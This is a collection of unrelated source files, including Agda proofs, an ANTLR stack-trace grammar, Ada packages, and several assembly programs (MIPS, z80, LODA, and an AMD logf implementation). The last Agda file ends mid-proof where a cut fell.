<gh_stars>1000+ {-# OPTIONS --rewriting #-} open import Agda.Builtin.Equality {-# BUILTIN REWRITE _≡_ #-} module _ (Form : Set) where -- FAILS -- postulate Form : Set -- WORKS data Cxt : Set where ε : Cxt _∙_ : (Γ : Cxt) (A : Form) → Cxt data _≤_ : (Γ Δ : Cxt) → Set where id≤ : ∀{Γ} → Γ ≤ Γ weak : ∀{A Γ Δ} (τ : Γ ≤ Δ) → (Γ ∙ A) ≤ Δ lift : ∀{A Γ Δ} (τ : Γ ≤ Δ) → (Γ ∙ A) ≤ (Δ ∙ A) postulate lift-id≤ : ∀{Γ A} → lift id≤ ≡ id≤ {Γ ∙ A} {-# REWRITE lift-id≤ #-}
forp-parser/src/commonAntlr/antlr/StackTrace.g4
DRSchlaubi/furry-octo-rotary-phone
6
809
<filename>forp-parser/src/commonAntlr/antlr/StackTrace.g4 // Modified from: https://github.com/antlr/grammars-v4/blob/master/stacktrace/StackTrace.g4 grammar StackTrace; // Root rule parsing the exception message // the stack // and possible caused exceptions stackTrace: messageLine stackTraceLine+ causedByLine*; // A stack trace element line // Can either be ellipsis: '... {int} more' (see ellipsisLine) // Or an actual stack trace line (see atLine) stackTraceLine: (atLine | ellipsisLine); // Normal stack trace element: // AT: at // qualifiedMethod: org.bukkit.plugin.java.PluginClassLoader.findClass // methodFileDefinition: PluginClassLoader.java:101 // methodFileSource: ~[spigot1.8.jar:git-Spigot-c3c767f-33d5de3] atLine: AT qualifiedMethod methodFileDefinition methodFileSource?; // See atLine methodFileSource: TILDE? OPENING_BRACKETS jarFile COLON string CLOSING_BRACKETS; // See atLine methodFileDefinition: OPENING_PARENTHESES classFile CLOSING_PARENTHESES; whiteSpacedString: (string | WS); lineNumber: Number; causedByLine: CAUSED_BY stackTrace; ellipsisLine: ELLIPSIS Number MORE_; messageLine: (qualifiedClass message?); qualifiedClass: packagePath? className innerClassName*; innerClassName: ('$' className); packagePath: (identifier DOT)+; classFile: (sourceFile | NATIVE_METHOD | UNKNOWN_SOURCE); jarFile: (QUESTION_MARK | string DOT TheWordJar); qualifiedMethod: qualifiedClass DOT (methodName | constructorDef | lambda)?; lambda: LAMBDA DOLLAR Number; methodName: identifier; className: JavaWord; // Workaround so ANTLR doesn't try to recognize file endings where there are no file endings identifier: (JavaCharacter | JavaWord | TheWordJava | TheWordJar | Number)+; message: COLON whiteSpacedString?; sourceFile: sourceFileName COLON lineNumber; sourceFileName: identifier DOT sourceFileEnding; sourceFileEnding: (TheWordJava | TheWordKt | TheWordGroovy); // This was called constructor initially but this would clash with a JS declaration constructorDef: INIT; string: (JavaWord | JavaCharacter | Number | DOT | Symbol | HYPHEN | TheWordJar | Qoute | sourceFileEnding | OPENING_PARENTHESES | CLOSING_PARENTHESES | OPENING_BRACKETS | TILDE | QUESTION_MARK | COLON | MORE_ | ',' | '/')+; Number: Digit +; JavaCharacter: (CapitalLetter | NonCapitalLetter | Symbol | Digit); DOT: '.'; AT: 'at'; CAUSED_BY: 'Caused by:'; MORE_: 'more'; ELLIPSIS: '...'; COLON: ':'; OPENING_PARENTHESES: '('; CLOSING_PARENTHESES: ')'; OPENING_BRACKETS: '['; CLOSING_BRACKETS: ']'; NATIVE_METHOD: 'Native Method'; Qoute: (SINGLE_QOUTE | DOUBLE_QOUTE | BACKTICK); SINGLE_QOUTE: '\''; DOUBLE_QOUTE: '"'; BACKTICK: '`'; UNKNOWN_SOURCE: 'Unknown Source'; INIT: '<init>'; NonCapitalLetter: 'a' .. 'z'; CapitalLetter: 'A' .. 'Z'; Symbol: '_'; HYPHEN: '-'; Digit: '0'..'9'; TILDE: '~'; DOLLAR: '$'; QUESTION_MARK: '?'; LAMBDA: 'lambda'; WS: (' ' | '\r' | '\t' | '\u000C' | '\n' | 'こ') -> skip; TheWordJava: 'java'; TheWordKt: 'kt'; TheWordGroovy: 'groovy'; TheWordJar: 'jar'; JavaWord: (JavaCharacter)+;
src/skill-types-pools-unknown_base.ads
skill-lang/adaCommon
0
26284
-- ___ _ ___ _ _ -- -- / __| |/ (_) | | Common SKilL implementation -- -- \__ \ ' <| | | |__ unknown base pools -- -- |___/_|\_\_|_|____| by: <NAME> -- -- -- pragma Ada_2012; with Ada.Unchecked_Conversion; with Skill.Containers.Vectors; with Skill.Field_Declarations; with Skill.Field_Types.Builtin; with Skill.Field_Types.Builtin.String_Type_P; with Skill.Files; with Skill.Internal.File_Parsers; with Skill.Streams.Reader; with Skill.Streams.Writer; with Skill.Types; with Skill.Types.Pools; with Skill.Types.Pools.Sub; with Skill.Books; -- instantiated pool packages -- GNAT Bug workaround; should be "new Base(Annotation...)" instead package Skill.Types.Pools.Unknown_Base is pragma Warnings (Off); type Pool_T is new Base_Pool_T with private; type Pool is access Pool_T; -- API methods function Get (This : access Pool_T; ID : Skill_ID_T) return Annotation; overriding function Make_Boxed_Instance (This : access Pool_T) return Box; ---------------------- -- internal methods -- ---------------------- -- constructor invoked by new_pool function Make (Type_Id : Natural; Name : String_Access) return Pools.Pool; -- destructor invoked by close procedure Free (This : access Pool_T); overriding function Add_Field (This : access Pool_T; ID : Natural; T : Field_Types.Field_Type; Name : String_Access; Restrictions : Field_Restrictions.Vector) return Skill.Field_Declarations.Field_Declaration; procedure Add_Known_Field (This : access Pool_T; Name : String_Access; String_Type : Field_Types.Builtin.String_Type_P.Field_Type; Annotation_Type : Field_Types.Builtin.Annotation_Type_P .Field_Type) is null; overriding procedure Resize_Pool (This : access Pool_T); function Cast_Annotation (This : Annotation) return Annotation is (This); pragma Inline (Cast_Annotation); package Sub_Pools is new Pools.Sub (Skill_Object, Annotation, Cast_Annotation); function Make_Sub_Pool (This : access Pool_T; ID : Natural; Name : String_Access) return Skill.Types.Pools.Pool is (Sub_Pools.Make (This.To_Pool, ID, Name)); -- RTTI implementation function Boxed is new Ada.Unchecked_Conversion (Types.Annotation, Types.Box); function Unboxed is new Ada.Unchecked_Conversion (Types.Box, Types.Annotation); function Read_Box (This : access Pool_T; Input : Skill.Streams.Reader.Stream) return Types.Box is (Boxed (This.Get (Skill_ID_T (Input.V64)))); function Offset_Box (This : access Pool_T; Target : Types.Box) return Types.v64 is (Field_Types.Builtin.Offset_Single_V64 (Types.v64 (Unboxed (Target).Skill_ID))); procedure Write_Box (This : access Pool_T; Output : Streams.Writer.Sub_Stream; Target : Types.Box); function Content_Tag (This : access Pool_T) return Ada.Tags.Tag is (Skill_Object'Tag); private package Book_P is new Skill.Books(Skill.Types.Skill_Object, Skill.Types.Annotation); type Pool_T is new Base_Pool_T with record Book : aliased Book_P.Book; end record; end Skill.Types.Pools.Unknown_Base;
programs/oeis/144/A144519.asm
neoneye/loda
22
14434
<reponame>neoneye/loda ; A144519: Triangular numbers n*(n+1)/2 with n prime and n+1 nonprime. ; 6,15,28,66,91,153,190,276,435,496,703,861,946,1128,1431,1770,1891,2278,2556,2701,3160,3486,4005,4753,5151,5356,5778,5995,6441,8128,8646,9453,9730,11175,11476,12403,13366,14028,15051,16110,16471,18336,18721,19503,19900,22366,24976,25878 seq $0,98090 ; Numbers k such that 2k-3 is prime. mul $0,2 sub $0,2 bin $0,2
tests/syntax_examples/src/basic_subprogram_calls.adb
TNO/Dependency_Graph_Extractor-Ada
1
19602
<reponame>TNO/Dependency_Graph_Extractor-Ada<gh_stars>1-10 with Basic_Subprogram_Calls.Child; with Other_Basic_Subprogram_Calls; with Subprogram_Unit; with Subprogram_Unit_2; package body Basic_Subprogram_Calls is function F7 return Integer; function F8 return Integer is begin return 42; end F8; function F9 return Integer; function F9 return Integer is begin return 42; end F9; function F12 return Integer is separate; procedure P4 is separate; function F13(I : Integer) return Integer renames F2; function F14 return Integer renames F12; procedure P5(I : Integer := F14) renames P3; procedure P6 renames P4; procedure Test is I : Integer := F10; begin I := F1; I := F2(42); I := F3; I := F3(42); I := F4; I := F5(42); I := F6; I := F6(42); I := F7; I := F8; I := F9; declare J : Integer; begin J := F1; end; Label: declare J : Integer; begin J := F2(F12); end Label; P1; P2(42); P3; P3(F11); P4; end Test; function F1 return Integer is begin return 42; end F1; function F2(I : Integer) return Integer is begin return I; end F2; function F3(I : Integer := 42) return Integer is begin return I; end F3; function F7 return Integer is begin return 42; end F7; procedure P1 is begin null; end P1; procedure P2(I : Integer) is begin null; end P2; procedure P3(I : Integer := F1) is J : Integer; begin J := F13(I); J := F14; P5; P5(J); P6; J := Nested.Nested_F1; Nested.Nested_P1; declare use Nested; begin J := Nested.Nested_F1; Nested.Nested_P1; end; P7; P8; J := Child.Child_F1; Child.Child_P1; J := Other_Basic_Subprogram_Calls.Other_F1; Other_Basic_Subprogram_Calls.Other_P1; declare use Child; use Other_Basic_Subprogram_Calls; begin J := Child_F1; Child_P1; J := Other_F1; Other_P1; end; end P3; package body Nested is function Nested_F1 return Integer is begin return 42; end Nested_F1; procedure Nested_P1 is I : Integer := 42; S : String := I'Image; F : access function return Integer := Other_Basic_Subprogram_Calls.Other_F1'Access; P : access procedure := Other_Basic_Subprogram_Calls.Other_P1'Access; begin P := Nested_P1'Access; P := Nested_P1'Access; P := P1'Access; P := P7'Access; F := F1'Access; F := F4'Access; F := F14'Access; F := F12'Access; end Nested_P1; end Nested; package Nested_Renamed renames Nested; procedure P8 is null; function F_Overload(I: Integer) return Integer is begin return I; end F_Overload; function F_Overload(B: Boolean) return Integer is begin return 42; end F_Overload; function F_Overload(I: Integer) return Boolean is begin return True; end F_Overload; procedure P_Overload(I : Integer) is begin null; end P_Overload; procedure P_Overload(B : in out Boolean) is I : Integer; begin B := F_Overload(42); I := F_Overload(B); I := F_Overload(I); P_Overload(B); P_Overload(I); Nested_Renamed.Nested_P1; I := Nested_Renamed.Nested_F1; end P_Overload; procedure Test3 is A : array (1 .. 5) of Integer; type PAT is array (Integer range <>) of access procedure; function F1 return access PAT is begin return new PAT(1 .. 5); end F1; function F2(I : Integer) return access PAT is begin return new PAT(1 .. I); end F2; begin A(3) := 42; F1(2) := Other_Basic_Subprogram_Calls.Other_P1'Access; F2(42)(2) := Other_Basic_Subprogram_Calls.Other_P1'Access; F2(42)(2) := F1(3); A(2) := A(3); end Test3; function F_Internal return Integer is separate; procedure Test4 is Exception_Declaration_Name : exception; begin Statement_Identifier_Name: begin Test3; exception when Choice_Parameter_Specification_Name: Exception_Declaration_Name => raise; end Statement_Identifier_Name; <<Label_Statement_Identifier_Name>> Test3; end Test4; X : aliased Integer := F9; Y : array (1 .. 5) of access Integer; procedure AnonSubp(F : access function(X, Y: Integer) return Integer) is null; function AnonReturn return access Integer is begin return X'Access; end AnonReturn; begin Subprogram_Unit; Subprogram_Unit_2; end Basic_Subprogram_Calls;
libsrc/_DEVELOPMENT/arch/zxn/esxdos/z80/asm_esx_m_getdate.asm
jpoikela/z88dk
640
242867
; unsigned char esx_m_getdate(struct dos_tm *) INCLUDE "config_private.inc" SECTION code_esxdos PUBLIC asm_esx_m_getdate EXTERN error_mc, error_znc asm_esx_m_getdate: ; enter : hl = struct dos_tm * ; ; exit : success ; ; hl = 0 ; carry reset ; ; fail ; ; hl = -1 ; carry set ; ; uses : af, bc, de, hl push hl rst __ESX_RST_SYS defb __ESX_M_GETDATE pop hl jp c, error_mc ld (hl),e inc hl ld (hl),d inc hl ld (hl),c inc hl ld (hl),b jp error_znc ; *************************************************************************** ; * M_GETDATE ($8e) * ; *************************************************************************** ; Get the current date/time. ; Entry: ; - ; Exit: ; Fc=0 if RTC present and providing valid date/time, and: ; BC=date, in MS-DOS format ; DE=time, in MS-DOS format ; Fc=1 if no RTC, or invalid date/time, and: ; BC=0 ; DE=0
EserciziMips/7.1-StampaMatrice.asm
AntoAndGar/MIPS
0
91805
<filename>EserciziMips/7.1-StampaMatrice.asm # Implementare un programma in linguaggio assembly MIPS che definiti R (numero di righe) e C (numero di colonne) rispettivamente in $t0 e $t1, # stampa in maniera leggibile e conforme alla struttura tabellare una matrice M(RxC) definita in memoria. .text .globl main main: lw $t0, R lw $t1, C la $t2, matrix li $t3, 1 la $t6, tab la $t7, riga mul $t9, $t0, $t1 addi $t9, $t9, 1 loop: beq $t3, $t9, fine subi $t8, $t3 1 mul $t4, $t8, 4 add $t4, $t4, $t2 lw $a0, ($t4) li $v0, 1 syscall move $a0, $t6 li $v0, 4 syscall rem $t5, $t3, $t1 bnez $t5, no_nl move $a0, $t7 li $v0, 4 syscall no_nl: addi $t3, $t3, 1 j loop fine: li $v0, 10 syscall .data matrix: .word 0:20 R: .word 5 C: .word 4 tab: .asciiz "\t" riga: .asciiz "\n"
VirtualMachine/Win32/VMTests/assProg23.asm
ObjectPascalInterpreter/BookPart_3
8
7303
<gh_stars>1-10 # List test, create list and print pushi 1 pushi 4 pushi 9 createList 3 store 0 load 0 pushi 1 print halt
src/isa/avx/masm/logf.asm
jepler/aocl-libm-ose
66
84333
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ; ; logf.asm ; ; An implementation of the logf libm function. ; ; Prototype: ; ; float logf(float x); ; ; ; Algorithm: ; Similar to one presnted in log.asm ; include fm.inc FN_PROTOTYPE_BAS64 logf fname_special TEXTEQU <_logf_special> ; define local variable storage offsets p_temp EQU 30h ;arg_x EQU 0h ;arg_y EQU 10h ;arg_code EQU 20h stack_size EQU 78h ; external function EXTERN fname_special:PROC ; macros StackAllocate MACRO size sub rsp, size .ALLOCSTACK size ENDM text SEGMENT EXECUTE PUBLIC fname fname PROC FRAME StackAllocate stack_size .ENDPROLOG ; compute exponent part xor eax, eax movdqa xmm3, xmm0 movss xmm4, xmm0 psrld xmm3, 23 movd eax, xmm0 psubd xmm3, XMMWORD PTR __mask_127 movdqa xmm2, xmm0 cvtdq2ps xmm5, xmm3 ; xexp ; NaN or inf movdqa xmm1, xmm0 andps xmm1, XMMWORD PTR __real_inf comiss xmm1, DWORD PTR __real_inf je __x_is_inf_or_nan pand xmm2, XMMWORD PTR __real_mant subss xmm4, DWORD PTR __real_one comiss xmm5, DWORD PTR __real_neg127 je __denormal_adjust __continue_common: ; compute the index into the log tables mov r9d, eax and eax, DWORD PTR __mask_mant_all7 and r9d, DWORD PTR __mask_mant8 shl r9d, 1 add eax, r9d mov DWORD PTR [p_temp+rsp], eax ; check e as a special case comiss xmm0, DWORD PTR __real_ef je __logf_e ; near one codepath andps xmm4, XMMWORD PTR __real_notsign comiss xmm4, DWORD PTR __real_threshold jb __near_one ; F, Y movss xmm1, DWORD PTR [p_temp+rsp] shr eax, 16 por xmm2, XMMWORD PTR __real_half por xmm1, XMMWORD PTR __real_half lea r9, QWORD PTR __log_F_inv ; check for negative numbers or zero xorps xmm4, xmm4 comiss xmm0, xmm4 jbe __x_is_zero_or_neg ; f = F - Y, r = f * inv subss xmm1, xmm2 mulss xmm1, DWORD PTR [r9+rax*4] movss xmm2, xmm1 movss xmm0, xmm1 ; poly mulss xmm2, DWORD PTR __real_1_over_3 mulss xmm0, xmm1 addss xmm2, DWORD PTR __real_1_over_2 movss xmm3, DWORD PTR __real_log2_tail lea r9, QWORD PTR __log_128_tail lea r10, QWORD PTR __log_128_lead mulss xmm2, xmm0 mulss xmm3, xmm5 addss xmm1, xmm2 ; m*log(2) + log(G) - poly movss xmm0, DWORD PTR __real_log2_lead subss xmm3, xmm1 ; z2 mulss xmm0, xmm5 addss xmm3, DWORD PTR [r9+rax*4] ; z2 addss xmm0, DWORD PTR [r10+rax*4] ; z1 addss xmm0, xmm3 add rsp, stack_size ret ALIGN 16 __logf_e: movss xmm0, DWORD PTR __real_one add rsp, stack_size ret ALIGN 16 __near_one: ; r = x - 1.0; movss xmm2, DWORD PTR __real_two subss xmm0, DWORD PTR __real_one ; u = r / (2.0 + r) addss xmm2, xmm0 movss xmm1, xmm0 divss xmm1, xmm2 ; u ; correction = r * u movss xmm4, xmm0 mulss xmm4, xmm1 ; u = u + u; addss xmm1, xmm1 movss xmm2, xmm1 mulss xmm2, xmm2 ; v = u^2 ; r2 = (u * v * (ca_1 + v * ca_2) - correction) movss xmm3, xmm1 mulss xmm3, xmm2 ; u^3 mulss xmm2, DWORD PTR __real_ca2 ; Bu^2 addss xmm2, DWORD PTR __real_ca1 ; +A mulss xmm2, xmm3 subss xmm2, xmm4 ; -correction ; r + r2 addss xmm0, xmm2 add rsp, stack_size ret ALIGN 16 __denormal_adjust: por xmm2, XMMWORD PTR __real_one subss xmm2, DWORD PTR __real_one movdqa xmm5, xmm2 pand xmm2, XMMWORD PTR __real_mant movd eax, xmm2 psrld xmm5, 23 psubd xmm5, XMMWORD PTR __mask_253 cvtdq2ps xmm5, xmm5 jmp __continue_common ALIGN 16 __x_is_zero_or_neg: jne __x_is_neg movss xmm1, DWORD PTR __real_ninf mov r8d, DWORD PTR __flag_x_zero call fname_special jmp __finish ALIGN 16 __x_is_neg: movss xmm1, DWORD PTR __real_neg_qnan mov r8d, DWORD PTR __flag_x_neg call fname_special jmp __finish ALIGN 16 __x_is_inf_or_nan: cmp eax, DWORD PTR __real_inf je __finish cmp eax, DWORD PTR __real_ninf je __x_is_neg or eax, DWORD PTR __real_qnanbit movd xmm1, eax mov r8d, DWORD PTR __flag_x_nan call fname_special jmp __finish ALIGN 16 __finish: add rsp, stack_size ret fname endp text ENDS data SEGMENT READ ALIGN 16 ; these codes and the ones in the corresponding .c file have to match __flag_x_zero DD 00000001 __flag_x_neg DD 00000002 __flag_x_nan DD 00000003 ALIGN 16 __real_one DQ 03f8000003f800000h ; 1.0 DQ 03f8000003f800000h __real_two DQ 04000000040000000h ; 1.0 DQ 04000000040000000h __real_ninf DQ 0ff800000ff800000h ; -inf DQ 0ff800000ff800000h __real_inf DQ 07f8000007f800000h ; +inf DQ 07f8000007f800000h __real_nan DQ 07fc000007fc00000h ; NaN DQ 07fc000007fc00000h __real_ef DQ 0402DF854402DF854h ; float e DQ 0402DF854402DF854h __real_neg_qnan DQ 0ffc00000ffc00000h DQ 0ffc00000ffc00000h __real_sign DQ 08000000080000000h ; sign bit DQ 08000000080000000h __real_notsign DQ 07ffFFFFF7ffFFFFFh ; ^sign bit DQ 07ffFFFFF7ffFFFFFh __real_qnanbit DQ 00040000000400000h ; quiet nan bit DQ 00040000000400000h __real_mant DQ 0007FFFFF007FFFFFh ; mantissa bits DQ 0007FFFFF007FFFFFh __mask_127 DQ 00000007f0000007fh ; DQ 00000007f0000007fh __mask_mant_all7 DQ 00000000007f0000h DQ 00000000007f0000h __mask_mant8 DQ 0000000000008000h DQ 0000000000008000h __real_ca1 DQ 03DAAAAAB3DAAAAABh ; 8.33333333333317923934e-02 DQ 03DAAAAAB3DAAAAABh __real_ca2 DQ 03C4CCCCD3C4CCCCDh ; 1.25000000037717509602e-02 DQ 03C4CCCCD3C4CCCCDh __real_log2_lead DQ 03F3170003F317000h ; 0.693115234375 DQ 03F3170003F317000h __real_log2_tail DQ 03805FDF43805FDF4h ; 0.000031946183 DQ 03805FDF43805FDF4h __real_half DQ 03f0000003f000000h ; 1/2 DQ 03f0000003f000000h ALIGN 16 __real_neg127 DD 0c2fe0000h DD 0 DQ 0 __mask_253 DD 000000fdh DD 0 DQ 0 __real_threshold DD 3d800000h DD 0 DQ 0 __mask_01 DD 00000001h DD 0 DQ 0 __mask_80 DD 00000080h DD 0 DQ 0 __real_3b800000 DD 3b800000h DD 0 DQ 0 __real_1_over_3 DD 3eaaaaabh DD 0 DQ 0 __real_1_over_2 DD 3f000000h DD 0 DQ 0 ALIGN 16 __log_128_lead: DD 00000000h DD 3bff0000h DD 3c7e0000h DD 3cbdc000h DD 3cfc1000h DD 3d1cf000h DD 3d3ba000h DD 3d5a1000h DD 3d785000h DD 3d8b2000h DD 3d9a0000h DD 3da8d000h DD 3db78000h DD 3dc61000h DD 3dd49000h DD 3de2f000h DD 3df13000h DD 3dff6000h DD 3e06b000h DD 3e0db000h DD 3e14a000h DD 3e1b8000h DD 3e226000h DD 3e293000h DD 3e2ff000h DD 3e36b000h DD 3e3d5000h DD 3e43f000h DD 3e4a9000h DD 3e511000h DD 3e579000h DD 3e5e1000h DD 3e647000h DD 3e6ae000h DD 3e713000h DD 3e778000h DD 3e7dc000h DD 3e820000h DD 3e851000h DD 3e882000h DD 3e8b3000h DD 3e8e4000h DD 3e914000h DD 3e944000h DD 3e974000h DD 3e9a3000h DD 3e9d3000h DD 3ea02000h DD 3ea30000h DD 3ea5f000h DD 3ea8d000h DD 3eabb000h DD 3eae8000h DD 3eb16000h DD 3eb43000h DD 3eb70000h DD 3eb9c000h DD 3ebc9000h DD 3ebf5000h DD 3ec21000h DD 3ec4d000h DD 3ec78000h DD 3eca3000h DD 3ecce000h DD 3ecf9000h DD 3ed24000h DD 3ed4e000h DD 3ed78000h DD 3eda2000h DD 3edcc000h DD 3edf5000h DD 3ee1e000h DD 3ee47000h DD 3ee70000h DD 3ee99000h DD 3eec1000h DD 3eeea000h DD 3ef12000h DD 3ef3a000h DD 3ef61000h DD 3ef89000h DD 3efb0000h DD 3efd7000h DD 3effe000h DD 3f012000h DD 3f025000h DD 3f039000h DD 3f04c000h DD 3f05f000h DD 3f072000h DD 3f084000h DD 3f097000h DD 3f0aa000h DD 3f0bc000h DD 3f0cf000h DD 3f0e1000h DD 3f0f4000h DD 3f106000h DD 3f118000h DD 3f12a000h DD 3f13c000h DD 3f14e000h DD 3f160000h DD 3f172000h DD 3f183000h DD 3f195000h DD 3f1a7000h DD 3f1b8000h DD 3f1c9000h DD 3f1db000h DD 3f1ec000h DD 3f1fd000h DD 3f20e000h DD 3f21f000h DD 3f230000h DD 3f241000h DD 3f252000h DD 3f263000h DD 3f273000h DD 3f284000h DD 3f295000h DD 3f2a5000h DD 3f2b5000h DD 3f2c6000h DD 3f2d6000h DD 3f2e6000h DD 3f2f7000h DD 3f307000h DD 3f317000h ALIGN 16 __log_128_tail: DD 00000000h DD 3429ac41h DD 35a8b0fch DD 368d83eah DD 361b0e78h DD 3687b9feh DD 3631ec65h DD 36dd7119h DD 35c30045h DD 379b7751h DD 37ebcb0dh DD 37839f83h DD 37528ae5h DD 37a2eb18h DD 36da7495h DD 36a91eb7h DD 3783b715h DD 371131dbh DD 383f3e68h DD 38156a97h DD 38297c0fh DD 387e100fh DD 3815b665h DD 37e5e3a1h DD 38183853h DD 35fe719dh DD 38448108h DD 38503290h DD 373539e8h DD 385e0ff1h DD 3864a740h DD 3786742dh DD 387be3cdh DD 3685ad3eh DD 3803b715h DD 37adcbdch DD 380c36afh DD 371652d3h DD 38927139h DD 38c5fcd7h DD 38ae55d5h DD 3818c169h DD 38a0fde7h DD 38ad09efh DD 3862bae1h DD 38eecd4ch DD 3798aad2h DD 37421a1ah DD 38c5e10eh DD 37bf2aeeh DD 382d872dh DD 37ee2e8ah DD 38dedfach DD 3802f2b9h DD 38481e9bh DD 380eaa2bh DD 38ebfb5dh DD 38255fddh DD 38783b82h DD 3851da1eh DD 374e1b05h DD 388f439bh DD 38ca0e10h DD 38cac08bh DD 3891f65fh DD 378121cbh DD 386c9a9ah DD 38949923h DD 38777bcch DD 37b12d26h DD 38a6ced3h DD 38ebd3e6h DD 38fbe3cdh DD 38d785c2h DD 387e7e00h DD 38f392c5h DD 37d40983h DD 38081a7ch DD 3784c3adh DD 38cce923h DD 380f5fafh DD 3891fd38h DD 38ac47bch DD 3897042bh DD 392952d2h DD 396fced4h DD 37f97073h DD 385e9eaeh DD 3865c84ah DD 38130ba3h DD 3979cf16h DD 3938cac9h DD 38c3d2f4h DD 39755dech DD 38e6b467h DD 395c0fb8h DD 383ebce0h DD 38dcd192h DD 39186bdfh DD 392de74ch DD 392f0944h DD 391bff61h DD 38e9ed44h DD 38686dc8h DD 396b99a7h DD 39099c89h DD 37a27673h DD 390bdaa3h DD 397069abh DD 388449ffh DD 39013538h DD 392dc268h DD 3947f423h DD 394ff17ch DD 3945e10eh DD 3929e8f5h DD 38f85db0h DD 38735f99h DD 396c08dbh DD 3909e600h DD 37b4996fh DD 391233cch DD 397cead9h DD 38adb5cdh DD 3920261ah DD 3958ee36h DD 35aa4905h DD 37cbd11eh DD 3805fdf4h ALIGN 16 __log_F_inv: DD 40000000h DD 3ffe03f8h DD 3ffc0fc1h DD 3ffa232dh DD 3ff83e10h DD 3ff6603eh DD 3ff4898dh DD 3ff2b9d6h DD 3ff0f0f1h DD 3fef2eb7h DD 3fed7304h DD 3febbdb3h DD 3fea0ea1h DD 3fe865ach DD 3fe6c2b4h DD 3fe52598h DD 3fe38e39h DD 3fe1fc78h DD 3fe07038h DD 3fdee95ch DD 3fdd67c9h DD 3fdbeb62h DD 3fda740eh DD 3fd901b2h DD 3fd79436h DD 3fd62b81h DD 3fd4c77bh DD 3fd3680dh DD 3fd20d21h DD 3fd0b6a0h DD 3fcf6475h DD 3fce168ah DD 3fcccccdh DD 3fcb8728h DD 3fca4588h DD 3fc907dah DD 3fc7ce0ch DD 3fc6980ch DD 3fc565c8h DD 3fc43730h DD 3fc30c31h DD 3fc1e4bch DD 3fc0c0c1h DD 3fbfa030h DD 3fbe82fah DD 3fbd6910h DD 3fbc5264h DD 3fbb3ee7h DD 3fba2e8ch DD 3fb92144h DD 3fb81703h DD 3fb70fbbh DD 3fb60b61h DD 3fb509e7h DD 3fb40b41h DD 3fb30f63h DD 3fb21643h DD 3fb11fd4h DD 3fb02c0bh DD 3faf3adeh DD 3fae4c41h DD 3fad602bh DD 3fac7692h DD 3fab8f6ah DD 3faaaaabh DD 3fa9c84ah DD 3fa8e83fh DD 3fa80a81h DD 3fa72f05h DD 3fa655c4h DD 3fa57eb5h DD 3fa4a9cfh DD 3fa3d70ah DD 3fa3065eh DD 3fa237c3h DD 3fa16b31h DD 3fa0a0a1h DD 3f9fd80ah DD 3f9f1166h DD 3f9e4cadh DD 3f9d89d9h DD 3f9cc8e1h DD 3f9c09c1h DD 3f9b4c70h DD 3f9a90e8h DD 3f99d723h DD 3f991f1ah DD 3f9868c8h DD 3f97b426h DD 3f97012eh DD 3f964fdah DD 3f95a025h DD 3f94f209h DD 3f944581h DD 3f939a86h DD 3f92f114h DD 3f924925h DD 3f91a2b4h DD 3f90fdbch DD 3f905a38h DD 3f8fb824h DD 3f8f177ah DD 3f8e7835h DD 3f8dda52h DD 3f8d3dcbh DD 3f8ca29ch DD 3f8c08c1h DD 3f8b7034h DD 3f8ad8f3h DD 3f8a42f8h DD 3f89ae41h DD 3f891ac7h DD 3f888889h DD 3f87f781h DD 3f8767abh DD 3f86d905h DD 3f864b8ah DD 3f85bf37h DD 3f853408h DD 3f84a9fah DD 3f842108h DD 3f839930h DD 3f83126fh DD 3f828cc0h DD 3f820821h DD 3f81848eh DD 3f810204h DD 3f808081h DD 3f800000h data ENDS END
theorems/cohomology/Sn.agda
cmknapp/HoTT-Agda
0
15529
<reponame>cmknapp/HoTT-Agda {-# OPTIONS --without-K #-} open import HoTT open import cohomology.Exactness open import cohomology.Theory module cohomology.Sn {i} (OT : OrdinaryTheory i) where open OrdinaryTheory OT C-Sphere-≠ : (n : ℤ) (m : ℕ) → (n ≠ ℕ-to-ℤ m) → C n (⊙Lift (⊙Sphere m)) == Lift-Unit-group C-Sphere-≠ n O neq = C-dimension n neq C-Sphere-≠ n (S m) neq = C n (⊙Lift (⊙Sphere (S m))) =⟨ ! $ ⊙Susp-⊙Lift (⊙Sphere m) |in-ctx C n ⟩ C n (⊙Susp (⊙Lift (⊙Sphere m))) =⟨ ! (succ-pred n) |in-ctx (λ k → C k (⊙Susp (⊙Lift (⊙Sphere m)))) ⟩ C (succ (pred n)) (⊙Susp (⊙Lift (⊙Sphere m))) =⟨ group-ua (C-Susp (pred n) (⊙Lift (⊙Sphere m))) ⟩ C (pred n) (⊙Lift (⊙Sphere m)) =⟨ C-Sphere-≠ (pred n) m (λ p → neq (pred-injective n (ℕ-to-ℤ (S m)) p)) ⟩ Lift-Unit-group ∎ C-Sphere-diag : (m : ℕ) → C (ℕ-to-ℤ m) (⊙Lift (⊙Sphere m)) == C 0 (⊙Lift ⊙S⁰) C-Sphere-diag O = idp C-Sphere-diag (S m) = C (ℕ-to-ℤ (S m)) (⊙Lift (⊙Sphere (S m))) =⟨ ! $ ⊙Susp-⊙Lift (⊙Sphere m) |in-ctx C (ℕ-to-ℤ (S m)) ⟩ C (ℕ-to-ℤ (S m)) (⊙Susp (⊙Lift (⊙Sphere m))) 